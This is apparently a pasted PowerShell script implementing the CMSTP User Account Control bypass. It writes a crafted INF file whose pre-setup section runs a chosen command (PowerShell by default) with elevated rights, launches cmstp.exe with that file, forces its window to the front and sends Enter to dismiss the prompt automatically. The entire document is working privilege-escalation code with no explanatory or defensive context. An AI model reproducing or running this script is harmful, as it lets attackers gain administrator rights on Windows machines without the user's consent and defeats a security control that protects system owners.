· 5 years ago · Jan 20, 2021, 07:54 PM
1
2Function script:Set-INFFile {
3[CmdletBinding()]
4 Param (
5 [Parameter(HelpMessage="Specify the INF file location")]
6 $InfFileLocation = "$env:temp\CMSTP.inf",
7
8 [Parameter(HelpMessage="Specify the command to launch in a UAC-privileged window")]
9 [String]$CommandToExecute = 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
10 )
11
12$InfContent = @"
13[version]
14Signature=`$chicago`$
15AdvancedINF=2.5
16
17[DefaultInstall]
18CustomDestination=CustInstDestSectionAllUsers
19RunPreSetupCommands=RunPreSetupCommandsSection
20
21[RunPreSetupCommandsSection]
22; Commands Here will be run Before Setup Begins to install
23$CommandToExecute
24taskkill /IM cmstp.exe /F
25
26[CustInstDestSectionAllUsers]
2749000,49001=AllUSer_LDIDSection, 7
28
29[AllUSer_LDIDSection]
30"HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
31
32[Strings]
33ServiceName="CorpVPN"
34ShortSvcName="CorpVPN"
35
36"@
37
38$InfContent | Out-File $InfFileLocation -Encoding ASCII
39}
40
41
42Function Get-Hwnd
43{
44 [CmdletBinding()]
45
46 Param
47 (
48 [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $ProcessName
49 )
50 Process
51 {
52 $ErrorActionPreference = 'Stop'
53 Try
54 {
55 $hwnd = Get-Process -Name $ProcessName | Select-Object -ExpandProperty MainWindowHandle
56 }
57 Catch
58 {
59 $hwnd = $null
60 }
61 $hash = @{
62 ProcessName = $ProcessName
63 Hwnd = $hwnd
64 }
65
66 New-Object -TypeName PsObject -Property $hash
67 }
68}
69
70function Set-WindowActive
71{
72 [CmdletBinding()]
73
74 Param
75 (
76 [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $Name
77 )
78
79 Process
80 {
81 $memberDefinition = @'
82 [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
83 [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);
84
85'@
86
87 Add-Type -MemberDefinition $memberDefinition -Name Api -Namespace User32
88 $hwnd = Get-Hwnd -ProcessName $Name | Select-Object -ExpandProperty Hwnd
89 If ($hwnd)
90 {
91 $onTop = New-Object -TypeName System.IntPtr -ArgumentList (0)
92 [User32.Api]::SetForegroundWindow($hwnd)
93 [User32.Api]::ShowWindow($hwnd, 5)
94 }
95 Else
96 {
97 [string] $hwnd = 'N/A'
98 }
99
100 $hash = @{
101 Process = $Name
102 Hwnd = $hwnd
103 }
104
105 New-Object -TypeName PsObject -Property $hash
106 }
107}
108
109. Set-INFFile
110#Needs Windows forms
111add-type -AssemblyName System.Windows.Forms
112If (Test-Path $InfFileLocation) {
113#Command to run
114$ps = new-object system.diagnostics.processstartinfo "c:\windows\system32\cmstp.exe"
115$ps.Arguments = "/au $InfFileLocation"
116$ps.UseShellExecute = $false
117
118#Start it
119[system.diagnostics.process]::Start($ps)
120
121do
122{
123 # Do nothing until cmstp is an active window
124}
125until ((Set-WindowActive cmstp).Hwnd -ne 0)
126
127
128#Activate window
129Set-WindowActive cmstp
130
131#Send the Enter key
132[System.Windows.Forms.SendKeys]::SendWait("{ENTER}")
133}